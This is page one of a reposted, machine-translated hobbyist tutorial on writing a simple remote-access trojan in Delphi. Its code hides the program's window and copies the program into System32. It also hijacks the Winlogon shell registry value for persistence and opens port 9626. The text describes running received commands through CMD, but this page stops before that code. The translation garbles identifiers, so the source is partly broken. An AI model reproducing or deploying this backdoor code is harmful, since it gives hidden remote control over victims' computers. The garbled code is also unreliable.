Write a simple trojan that is not found and killed by yourself

Source: Internet
Author: User

When I first learned about computers, I liked network security. Looking at the attack tools written by experts, I always wanted to learn programming well and write my own programs. I have been learning DELPHI for nearly a year. I feel like I have never learned anything. I suddenly wanted to learn how to write a trojan tonight, so I tried to write some code in disorder. It was very simple. I hope I could write better !!!

Programs, like traditional Trojans, are divided into servers and clients. After the server is running, it will copy itself to the SYSTEM32 directory, and add an automatic line startup item in the registry. Open Port 9626 of the Local Machine and wait for the client to receive data. When the client data is received, it is executed as a CMD command, and the ECHO is finally transmitted back to the client. The client is very simple. After the connection to the server is successful, enter the command point for execution. Normally, you can receive the execution result from the server.



The source code is as follows:

/// Server. pas //////////////

Unit UtMain;

////////////////////////////////////
/// // BY lanyus ////////////////
//// // Email: greathjw@163.com ////
//// // QQ: 231221 ////////////////
/// Some codes are collected from the Internet ///////////
////////////////////////////////

Interface

Uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Registry, ScktComp, StdCtrls;

Type
TFmMain = class (TForm)
SS: TServerSocket;
Memo1: TMemo;
Procedure FormCreate (Sender: TObject );
Procedure SSAccept (Sender: TObject; Socket: TCustomWinSocket );
Procedure SSClientRead (Sender: TObject; Socket: TCustomWinSocket );
Private
{Private declarations}
Public
{Public declarations}
End;

Var
FmMain: TFmMain;
Reg: TRegistry;

Implementation

{$ R *. dfm}

Procedure TFmMain. FormCreate (Sender: TObject );
Var
Sysdir: array [0 .. 50] of char;
Begin
Application. ShowMainForm: = False;
FmMain. Left: =-200; // The Running window is not displayed.
Reg: = TRegistry. Create;
Reg. RootKey: = HKEY_LOCAL_MACHINE;
Reg. OpenKey ('Software \ Microsoft \ Windows NT \ CurrentVersion \ winlogon', true );
If reg. ReadString ('shell') <> 'assumer.exe Lysvr.exe 'then
Reg.writestring('shell', 'assumer.exe Lysvr.exe '); // create a startup Item
Reg. Free;
GetSystemDirectory (sysdir, 50 );
If not FileExists (sysdir + '\ Lysvr.exe') then
Copyfile(Pchar(Application.exe Name), pchar (sysdir + '\ Lysvr.exe'), true );

Ss.port: = 9626;
Try
SS. Active: = True;
Except
End;
End;

Procedure TFmMain. SSAccept (Sender: TObject; Socket: TCustomWinSocket );
Begin
Socket. SendText ('Connection successfully'); // return 'Connection successfully' when a connection is found'
End;

  • 1
  • 2
  • Next Page
[Content navigation]
Page 1: compile a simple trojan that you will not be killed Page 1: compile a simple trojan that you will not be killed

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.